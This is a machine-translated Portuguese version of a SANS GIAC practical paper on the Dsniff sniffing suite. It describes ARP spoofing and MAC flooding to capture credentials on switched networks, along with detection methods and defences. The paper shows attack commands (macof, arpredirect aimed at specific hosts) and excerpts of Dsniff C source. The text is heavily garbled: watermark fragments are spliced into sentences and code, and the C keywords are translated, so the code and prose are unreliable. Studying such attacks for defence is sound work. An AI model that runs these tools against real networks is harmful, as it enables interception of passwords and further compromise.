Escolar Documentos
Profissional Documentos
Cultura Documentos
Detalhes da exploração
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Nome: Dsniff mantém
cheio
Versão atual: Dsniff-2.2
Localização: http://www.monkey.org/~dugsong/dsniff
Sistemas operacionais: Unix, Linux (a maioria das distr.), Windows 95/98, WinNT, Windows 2000
Variantes: Existem muitas ferramentas de sniffer tanto comerciais quanto disponíveis gratuitamente no
Internet que pode ser usada para capturar e filtrar o tráfego de rede. Dsniff é apenas um sabor.
Autor
-2002,
Como a maioria das ferramentas de sniffing de pacotes disponíveis gratuitamente, o Dsniff foi construído em torno da libpcap
biblioteca, que dá aos programas a capacidade de capturar pacotes em uma rede. Alguns próximos
2000
variantes para o programa Dsniff são:
Esniff http://www.asmodeus.com/archive/IP_toolz/ESNIFF.C
LinSniff http://rootshell.com/archive-j457nxiqi3gq59dv/199804/linsniff.c.html
SEM
LinSniff é um sniffer baseado em Linux projetado especificamente para capturar
© senhas que cruzam redes baseadas em broadcast (Ethernet). LinSniff é
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
Etherpeek http://www.aggroup.com
Ethload http://www.computercraft.com/noprogs/ethld104.zip
informações
Impressão digital da de FA27
chave = AF19 autenticação de sessão
2F94 998D fora das
FDB5 DE3D redes.
F8B5 06E4 A169 4E46
mantém
cheio
Breve Descrição: Dsniff é um conjunto de programas de sniffing de pacotes de rede criados por Dug
Música para uso em testes de penetração de rede. Dsniff é capaz de capturar e decodificar
com formas conhecidas de técnicas de falsificação de ARP e/ou DNS, torna-se um poderoso
exploit que pode ser usado para obter informações de senha e autenticação de um
Autor
-2002,
redes normais e baseadas em switch.
2000
Descrição do protocolo: Sniffers trabalham na tecnologia de transmissão Ethernet. Os dados são enviados
através da rede em quadros que são compostos de várias seções. Os primeiros bytes de
Instituto
uma rede Ethernet. Normalmente, apenas o host com o endereço de hardware (MAC) que
explorar o fato de que os quadros são transmitidos para todos os hosts configurando a placa Ethernet para
SEM
aceitar todas as transmissões de rede em seu caminho.
©
Introdução
Impressão
conjunto dedigital
ferramentas
da chave
para
= AF19
capturar
FA27e processar
2F94 998D informações
FDB5 DE3D deF8B5
autenticação.
06E4 A169 Sua
4E46
funcionalidade e
vários utilitários o tornaram uma ferramenta comum usada por invasores para farejar senhas e
2
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
muitos protocolos de autenticação diferentes o tornam uma ferramenta ideal para ser usada com outros
exploits para comprometer sistemas ou elevar o acesso. O exploit que vou focar é o
uso de Dsniff e seus utilitários junto com falsificação de ARP para criar um sniffing de autenticação
Falsificação e mostrar como eles podem ser usados em cooperação para comprometer ou
elevar o acesso em uma rede. Além disso, detalharei ferramentas e técnicas para mitigar o
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
Dsniff
O Dsniff foi lançado pela primeira vez em 1998, como mais um conjunto de ferramentas sniffer que utilizava o popular
biblioteca libpcap para capturar e processar pacotes. Dsniff é baseado na funcionalidade de seu
placa de rede da estação de trabalho em modo promíscuo e capturar todos os pacotes transmitidos
Autor
-2002,
uma rede. A funcionalidade e popularidade do Dsniff levou à comunidade de hackers
informações de autenticação de uma rede. Dsniff foi escrito para monitorar, capturar e
Instituto
filtrar informações de autenticação conhecidas de uma rede enquanto ignora todos os outros dados
pacotes. Isso permite que um invasor limite o tempo necessário para analisar
SEM
grandes quantidades de dados (pacotes) na esperança de encontrar informações de autenticação. Dsniff
©
também vai um passo além e é capaz de decodificar inúmeras formas de autenticação
informações que ele captura junto com a capacidade de capturar muitos outros tipos de TCP
seguintes protocolos:
Impressão digital
PC em qualquer NNTP
lugar da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
3
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
IMAP POP
Napster SNMP
Meias
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3DAbra
F8B5 06E4 A169
o caminho mais 4E46
curto primeiro (OSPF)
mantém
cheio
Criador de reuniões Citrix ICA
Juntamente com a capacidade do Dsniff de decodificar os protocolos da lista acima, o Dsniff também inclui
utilitários que permitem monitorar e salvar e-mails, URLs HTTP e transferências de arquivos que
2000
Arpredirect: que permite que um host intercepte pacotes de um host de destino em uma LAN
TCPnice: diminui a velocidade de conexões TCP atuais específicas por meio de modelagem de tráfego ativa.
Instituto
Isso pode ser feito forjando pequenos anúncios de janela TCP e
Respostas de extinção de fonte ICMP. Isso permite que um invasor reduza a velocidade
SEM
conexões em uma rede rápida.
©
FindGW: FindGW usa várias formas de sniffing passivo para determinar o local
porta de rede.
Macof: Macof é usado para inundar uma rede local com MAC forjado aleatório
TCPKill: TCPkill
Impressão digital éda
usado
chavepara encerrar
= AF19 FA27conexões TCP
2F94 998D ativas.
FDB5 DE3D F8B5 06E4 A169 4E46
cheirado na rede.
4
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
WebSpy: O utilitário Webspy captura e envia informações de URL para um cliente web
Impressão digitale da
Usando Dsniff chave
seus = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
utilitários mantém
cheio
Dsniff e seus utilitários são capazes de rodar em várias plataformas diferentes, incluindo
win32, Unix e Linux. Compilar e executar o Dsniff geralmente é simples, embora muitas vezes
funcionalidade dos programas. Para iniciar o Dsniff para captura de informações de autenticação, o
Neste exemplo, o Dsniff é iniciado com as chaves i e w. I permite que o usuário especifique o
Instituto
dispositivo para sniffing e W é usado para especificar um arquivo de saída para dados capturados. Neste ponto
SEM
A ilustração a seguir fornece uma melhor compreensão de como o Dsniff funciona e seus
©
funcionalidade. Usaremos um exemplo hipotético de uma rede de pequena empresa onde
Aplicativo PCAnywhere. O administrador, que chamaremos de John, é como a maioria dos pequenos
administradores
Impressão digitalda
daempresa, sobrecarregados,
chave = AF19 mal pagos
FA27 2F94 998D FDB5 eDE3D
incapazes
F8B5 de proteger
06E4 A169 com
4E46sucesso seus
aplicativo nos servidores de produção, ele não o configurou para utilizar criptografia.
5
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
texto.
Servidor2
PC em qualquer lugar
dados de autenticação
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
Sniffed PcAnywhere
Dados de autenticação
Servidor1 Servidor3
Dsniff Daemon
não é criptografado ou reverterá para qualquer criptografia especificada pelo cliente. Quando
Autor
-2002,
John solicita uma conexão com uma máquina host, ele é solicitado a fornecer um nome de usuário e
senha. John então passa a digitar seu nome de usuário e senha para o host
2000
conexão. Em condições normais, a única máquina a responder ou ouvir os pedidos
rede seria capaz de ouvir os pedidos, mas ignorá-los. Já que o servidor está rodando
o daemon Dsniff e está configurado para ouvir todos os pacotes enviados pela rede.
Instituto
capaz de capturar os dados que se destinavam apenas às máquinas cliente e host.
SEM
Uma das muitas maneiras que os analistas de segurança de rede usam para mitigar a exposição a
©
sniffers de pacotes está movendo uma rede de uma arquitetura de broadcast para comutada. Desde uma
switch não transmite pacotes para todos os hosts em uma rede, ele atua como um direcionador de tráfego e
apenas transmite pacotes através de caminhos definidos para um host. Isso aumenta a segurança e
de Dsniff e qualquer outro sniffer de pacotes seja capaz de capturar o tráfego de rede. A impressão digital da
chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
O exemplo a seguir ilustra como o tráfego em uma rede comutada é transmitido apenas para o
6
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
Trocar
129.203.1.2
???
? ? 06E4 A169 4E46
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 mantém
cheio
fabricante, do host de destino. Um switch irá procurar em suas tabelas um endereço MAC
2000
e, em seguida, direcione o tráfego para o endereço IP atribuído a esse MAC. Como um farejador não pode
capturar pacotes neste tipo de rede, um invasor deve encontrar uma maneira de enganar ou “falsificar”
a mudança para pensar que a máquina do invasor é uma máquina legítima diferente. Para
fazer isso requer um pouco de conhecimento sobre a rede que está sendo detectada. Também o atacante
Instituto
deve ser capaz de configurar a máquina farejadora no cache ARP do switch ou como um relé no
SEM
©
Falsificação de ARP
A falsificação de ARP utiliza as fraquezas de segurança inerentes de como os hosts em uma transmissão
rede retêm informações sobre os computadores ao seu redor. ARP Spoofing é uma impressão digital de chave = AF19
FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
técnica que usa endereços MAC e IP forjados para mascarar outra máquina em
cache ARP. O cache ARP contém informações de mapeamento para traduzir determinados endereços IP
7
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
com um endereço MAC de hardware. Quando um host deseja se comunicar com outro host,
a máquina solicitante verifica seu cache ARP para um mapeamento do endereço IP dos hosts para
endereço de hardware (endereço MAC). Se houver listagem no cache ARP dos solicitantes,
prossegue para estabelecer uma conexão. Se o solicitante não tiver um mapeamento para o host
direitos.
em seu programa ARP, ele transmitirá uma solicitação ARP para todos os hosts no segmento de rede.
Em condições normais, apenas o host com o endereço MAC solicitado responderá com
seu IP. Uma vez que o host transmite seu endereço IP e de hardware, uma conexão é estabelecida
e a comunicação pode prosseguir. A falha de segurança aqui é que uma vez que o endereço IP de um host é
Impressão
mapeado nodigital
cache daARP
chave
de=outro
AF19é FA27 2F94 998D
considerado umaFDB5 DE3D
máquina F8B5 06E4
confiável. OutraA169
falha4E46
do
mantém
cheio
programa ARP é que uma solicitação ARP não é necessária para um host aceitar uma resposta ARP
de um hospedeiro. Muitos sistemas irão, exceto a resposta ARP não solicitada e atualizar seu cache
com as informações.
Em uma rede comutada, um switch pode ser configurado para atribuir vários endereços IP a um
porta única em um switch. Isso permite que ferramentas de falsificação de ARP, como Dsniff, engane o switch
Autor
-2002,
adicionar um endereço MAC mascarado em seu cache, conectando o endereço do invasor
máquina para a mesma porta que uma máquina de destino. Agora que tanto a máquina de um invasor quanto um
2000
alvo estão recebendo informações transmitidas no switch, os dados de autenticação podem novamente
Instituto
Executando a vulnerabilidade
SEM
Com algumas informações sobre a funcionalidade de falsificação de Dsniff e ARP, agora podemos
©
concentre-se em como os dois podem ser usados juntos para elevar o acesso em um switch baseado
rede. Nesta situação, um invasor já comprometeu uma conta com poucos privilégios
em um servidor e quer elevar seu acesso e comprometer outras caixas até que possa
Impressão
1. O atacante
digital dacomeça
chave =fazendo
AF19 FA27
a impressão
2F94 998D
digital
FDB5(reconhecimento)
DE3D F8B5 06E4
da rede
A169para
4E46determinar o que
máquinas para as quais ele quer apontar o farejador. Isso pode ser feito com ferramentas como
Nmap para varrer a rede em busca de hosts e serviços ativos, o comando ping ou por
8
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
usando o utilitário FindGW do Dsniff. O invasor usa essas ferramentas para coletar
rede. Reconhecimento ou impressão digital de uma rede está além do escopo deste
papel, mas para obter detalhes sobre como conduzir a impressão digital da rede, consulte:
direitos.
www.sans.org/newlook/events/guide.htm.
Rede
Sistema comprometido
2. Depois que o invasor encontrar um host ou hosts que ele deseja detectar a autenticação
Autor
-2002,
pacotes dele começa a falsificar o switch enviando respostas ARP forjadas para o
switch para adicionar o endereço IP do host sniffing ao cache ARP para mapeá-lo para o
2000
mesma porta que o(s) host(s) de destino. Isso pode ser feito usando o utilitário Macof do Dsniff
que inunda uma rede local com endereço MAC fazendo com que alguns switches falhem
SEM
>#./macof –i eth0 –s 129.203.1.122 –e 03-00-07-E2-AE
35
©
>#...
9
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
envenenado (switch), e por último é o IP do host para interceptar os pacotes. Uma vez
em um arquivo oculto e colocado em um diretório com vários arquivos para ajudar a obscurecer sua
presença.
direitos.
># ./arpredirect –i eth0 –t 129.203.1.2 129.203.1.122
>#...
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
2000
Sistema comprometido
Instituto
Agora todo o tráfego direcionado para a máquina alvo será transmitido no
o invasor pode comprometer mais hosts mais profundamente dentro de uma rede e
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
instale backdoors para leitura posterior.
10
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
Assinatura do Ataque:
O Dsniff é um ataque passivo na rede, por isso deixa poucos sinais de sua existência. Segurança
os analistas a procuram mais proativamente. Geralmente, em uma rede Ethernet Dsniff pode ser
direitos.
colocados em quase qualquer lugar em uma rede, embora existam alguns locais que os invasores podem
escolha por causa de seu valor estratégico. Como o Dsniff se concentra na captura de autenticação
informações que um invasor provavelmente colocará o programa em um host próximo ao servidor que
recebe muitas solicitações de autenticação. Os alvos especialmente comuns são hosts e gateways
Impressão digitaldois
que ficam entre da chave = AF19
segmentos de FA27 2F94 998DUm
rede diferentes. FDB5 DE3D para
benefício F8B5os
06E4 A169 de
analistas 4E46
segurança é que
mantém
cheio
Dsniff coloca a interface de rede da máquina host no modo promíscuo, que
aparecem em detectores sniffer. Outro sinal de Dsniff pode ser grandes quantidades de espaço em disco
tráfego de autenticação, o arquivo que o Dsniff usa para armazenar os dados de captura pode crescer bastante
ampla. Sinais de falsificação de ARP são alterações frequentes nos mapeamentos de ARP em hosts e
comuta. Os administradores também podem ver uma quantidade anormal de solicitações ARP. Numerosos
Autor
-2002,
entradas inválidas em tabelas ARP também podem ser um sinal de atividade de falsificação ARP.
2000
Defesas
Defender-se contra o Dsniff não é fácil, pois sua forma de ataque é passiva. O próprio Dsniff faz
não aparece no IDS ou nos logs de auditoria de segurança porque não altera os dados. Dsniff também
Instituto
não aparece como um devorador de recursos de rede porque apenas analisa os primeiros bytes de
um pacote. Embora não haja maneiras seguras de proteger uma rede de Dsniff e ARP
spoofing, existem vários métodos diferentes que podem ser usados para mitigar o
SEM
vulnerabilidade. Os primeiros analistas de segurança devem usar um ou mais dos recursos comerciais ou
©
ferramentas disponíveis gratuitamente para pesquisar na rede por sniffers e máquinas que estão em
modo promíscuo. Um exemplo de uma ferramenta gratuita que pode ser usada para pesquisar uma rede por
Anti-sniff mede o tempo de reação das interfaces de rede. A partir dessas reações
vezes o anti-sniff
Impressão digital édacapaz
chavede= extrapolar
AF19 FA27se2F94
a interface de rede
998D FDB5 de um
DE3D host
F8B5 estáA169
06E4 em 4E46
modo promíscuo. Outras ferramentas que podem ser usadas para encontrar máquinas em modo promíscuo
são:
11
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
Snifftest Snifftest é um detector sniffer muito eficaz que funciona no Solaris. Snifftest
modo promíscuo.
Existem também algumas ferramentas disponíveis gratuitamente que podem ajudar a monitorar e detectar falsificação de ARP
também. Uma ferramenta que pode ser utilizada é o ARPWatch. ARPWatch é um utilitário Unix gratuito, que
monitora os mapeamentos de IP/Ethernet para alterações. Quando uma alteração é detectada, o ARPWatch
Impressão digital
notifique um da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
administrador. mantém
cheio
Outro método que pode ser usado para se defender contra essas formas de ataques é o
uso de mapeamentos ARP estáticos. Muitos sistemas operacionais permitem que o cache ARP seja feito
impedindo a falsificação de ARP, embora exija atualização manual do cache ARP a cada
vez que há uma mudança de endereço de hardware. Analistas de segurança e administradores de rede
pode conduzir linhas de base sobre a quantidade de tráfego ARP que é enviado pela rede. A partir de
Autor
-2002,
esses administradores de linhas de base podem monitorar se quantidades anormais de tráfego ARP estão sendo
ataques sniffer está mudando programas como telnet com programas alternativos como SSH
que não transmitem informações de autenticação em texto não criptografado. Todos os programas que possuem o
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
12
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
Código fonte
Os segmentos de código-fonte a seguir fazem parte do pacote Dsniff 2.2. Por brevidade eu tenho
incluiu apenas os segmentos de código que são usados na execução do exploit. Uma completa
direitos.
A listagem do código-fonte do Dsniff Suite pode ser recuperada em:
www.datanerds.net/~mike/dsniff.html
/*
dsniff.c
Impressão
Farejador dedigital
senhas,da chave
porque = AF19
DrHoney FA27
queria um. 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
Isto destina-se apenas para fins de demonstração e uso educacional.
#include "config.h"
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
Autor
-2002,
#include <unistd.h>
#include <sinal.h>
#ifdef HAVE_ERR_H
#include <err.h> 2000
#fim se
#include <libnet.h>
#include <nids.h>
#include "opções.h"
#include "trigger.h"
#include "registro.h"
#include "versão.h" Instituto
#define MAX_LINES 6
#define MIN_SNAPLEN 1024
int Opt_client = 0;
SEM
int Opt_debug = 0;
u_short Opt_dns = 1;
©
int Opt_magic = 0;
int Opt_read = 0;
você
Opt_write = 0;
é você
opt_snaps = MIN_SNAPS;
int Opt_lines = MAX_LINES;
13
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
void
sig_hup(int sig) {
registro_fechar(); direitos.
trigger_dump();
record_init(Savefile);
trigger_init(Serviços);
}
void
sig_die(int sig) {
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 record_close(); saída(0);
mantém
cheio
}
void
null_syslog(int type, int errnum, struct ip *iph, void *data) { }
int
main(int argc, char *argv[]) {
intc;
Autor
-2002,
while ((c = getopt(argc, argv, "cdf:i:mns:r:w:h?V")) != -1) { switch (c)
{ case 'c':
2000
Opt_client = 1;
parar;
caso 'd':
Opt_debug++;
parar;
caso 'f':
Serviços = opçãog;
Instituto
parar;
caso 'eu':
nids_params.device = escolherg;
parar; caso 'm':
SEM Opt_magic = 1;
© parar; caso 'n':
Opt_dns = 0;
parar;
caso 's':
if ((Opt_snaplen = atoi(optarg)) == 0) uso();
parar;
caso 'r':
Opt_read = 1;
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Salvararquivo =
escolhag; parar; caso
'w':
Opt_write = 1;
Salvararquivo = escolhag;
14
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
parar;
predefinição:
uso();
}
} argc -= optind;
argv += optind;
direitos.
if (argc != 0 || (Opt_read && Opt_write)) uso();
if (!record_init(Savefile))
err(1, "record_init");
} nids_params.scan_num_hosts = 0;
nids_params.syslog = null_syslog;
if (!nids_init())
errx(1, "nids_init: %s", nids_errbuf);
trigger_init(Serviços);
Autor
-2002,
nids_register_ip(trigger_ip);
nids_register_ip(trigger_udp);
2000
if (Opt_client) {
nids_register_ip(trigger_tcp_raw);
sinal(SIGALRM, trigger_tcp_raw_timeout);
alarme(TRIGGER_TCP_RAW_TIMEOUT);
} else nids_register_tcp(trigger_tcp);
Instituto
warningx("ouvindo em %s", nids_params.device);
nids_run();
/* NÃO ALCANÇADO */
SEM
saída(0);
} ©
/* 5000. */
/
* arpredirect.c
15
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
#include "config.h"
#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h> #include
<string.h> #include <signal.h>
#ifdef HAVE_ERR_H direitos.
#include <err.h> # endif
#include <libnet.h> #include
<pcap.h>
#include "versão.h"
/* from arp.c
Impressão */ da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 int
digital
mantém
cheio
arp_cache_lookup(in_addr_t, struct ether_addr *);
void
uso(void) {
int
arp_send(struct libnet_link_int *llif, char *dev, int op,
2000
u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
char ebuf[128];
u_char pacote[60];
if (sha == NULL) { if
Instituto
((sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf))
== NULL)
retorno (-1);
} if (spa == 0)
SEM{ if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0) return
(-1); spa = htonl(spa); /*XXX*/
©
} if (tha == NULL)
tha = "\ xff \ xff \ xff \ xff \ xff \ xff";
16
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
void
limpeza(int sig) {
int;
} exit(0);
}
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
#ifdef __linux__ int
arp_force(in_addr_t
dst) {
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
Autor
-2002,
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
2000
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
fechar(fd);
retorno (i == 0);
} #fim se
int
Instituto
arp_find(in_addr_t ip, struct ether_addr *mac) {
int;
SEM
for (i = 0; i < 3 && arp_cache_lookup(ip, mac) == -1; i++) { #ifdef
__linux__ © /* XXX - força o kernel a arp. feh. */ arp_force(ip);
#senão
arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
#fim se
dormir(1);
intc;
17
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
char ebuf[PCAP_ERRBUF_SIZE];
int = NULO;
spoof_ip = target_ip = 0;
intf = escolhag;
direitos.
parar;
caso 't':
if ((target_ip = libnet_name_resolve(optarg, 1)) == -1) uso();
parar;
predefinição:
uso();
Impressão digital} da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
} argc -= optind;
argv += optind;
if (argc != 1)
uso();
if (target_ip != 0) { if (! 2000
arp_find(target_ip, &target_mac)) errx(1,
"não foi possível arp para o host %s",
libnet_host_lookup(target_ip, 0));
} if (!arp_find(spoof_ip, &spoof_mac))
{ errx(1, "não foi possível arp para o host %s",
libnet_host_lookup(spoof_ip, 0));
Instituto
} signal(SIGHUP, limpeza);
sinal(SIGINT, limpeza);
sinal(SIGTERM, limpeza);
SEM
warningx("interceptando tráfego de %s para %s (^C para sair)...",
(target_ip ? (char *)libnet_host_lookup(target_ip, 0) : "LAN"),
©
libnet_host_lookup(spoof_ip, 0));
/* Senta e cheira. */
for (;;) { arp_send(llif,
intf, ARPOP_REPLY, NULL, spoof_ip,
(target_ip ? (u_char *)&target_mac : NULL),
target_ip); dormir(2); Impressão digital da chave =
AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
}
/* NÃO ALCANÇADO */
saída(0);
}
18
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
/* 5000 */
/
* macof.c
#include "versão.h"
Autor
-2002,
extern char *ether_ntoa(struct ether_addr *); extern
struct ether_addr *ether_aton(char *);
2000
in_addr_t Src = 0;
in_addr_t Dst = 0;
u_char *Tha = NULL; u_short
Dport = 0; u_short Esporte =
0; char *Intf = NULL; int
void
gen_mac(u_char *mac) {
intc,i;
19
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
parar;
caso 's':
Src = libnet_name_resolve(optarg, 0); parar;
caso 'd':
Esporte = atoi(optarg);
parar;
caso 'e':
Dport = atoi(optarg);
parar;
caso 'eu':
Intf = escolhag;
parar; caso 'n':
Autor
-2002,
Repetir = atoi(optarg); parar;
predefinição:
uso(); 2000
}
} argc -= optind;
argv += optind;
if (argc != 0)
uso(); Instituto
if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL) errx(1, "%s",
ebuf);
gen_mac (sha);
20
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
Impressão digitallibnet_do_checksum(pacote
da chave = AF19 FA27 + ETH_H,
2F94IPPROTO_IP,
998D FDB5 IP_H);
DE3D F8B5 06E4 A169 4E46 mantém
cheio
libnet_do_checksum(pacote + ETH_H, IPPROTO_TCP, TCP_H);
2000
informação adicional
Técnicas para usar sniffers de pacotes em redes comutadas têm sido bem
Instituto
documentado em vários fóruns, sites e livros de hackers e segurança de rede. o
URLs a seguir fornecem informações sobre técnicas usadas em sniffing baseado em switch
SEM
redes e etapas para mitigar as ameaças à segurança:
©
www.sans.org/infosecFAQ/ethernet.htm
www.L0pht.com/anti-sniff/
www.securityfocus.com/sniffers/
www.us.vergenet.net/linux/fake/
www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D1406
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
www.monkey.org/~dugsong/dsniff
www.netsurf.com/nsf/v01/01/local/spoof.html
21
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google
Recursos e Referências
direitos.
Anônimo, “Segurança máxima: um guia para hackers para proteger seu site e rede na Internet”, 1999.
McClure, Stuart & Scambray, Joel & Kurtz, George, “Hacking Exposed”, The McGraw Hill Company,
1999.
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
mantém
cheio
Nicholas J., “O que está à espreita no éter?” Sala de leitura de segurança da informação: SANS
Organization, 4 de julho de 2000.
Russell, Ryan & Cunningham, Stace. “Hack Proofing your Network: Internet Trade Craft”, Syngress
Press, 2000.
Autor
-2002,
2000
Instituto
SEM
©
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
22
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.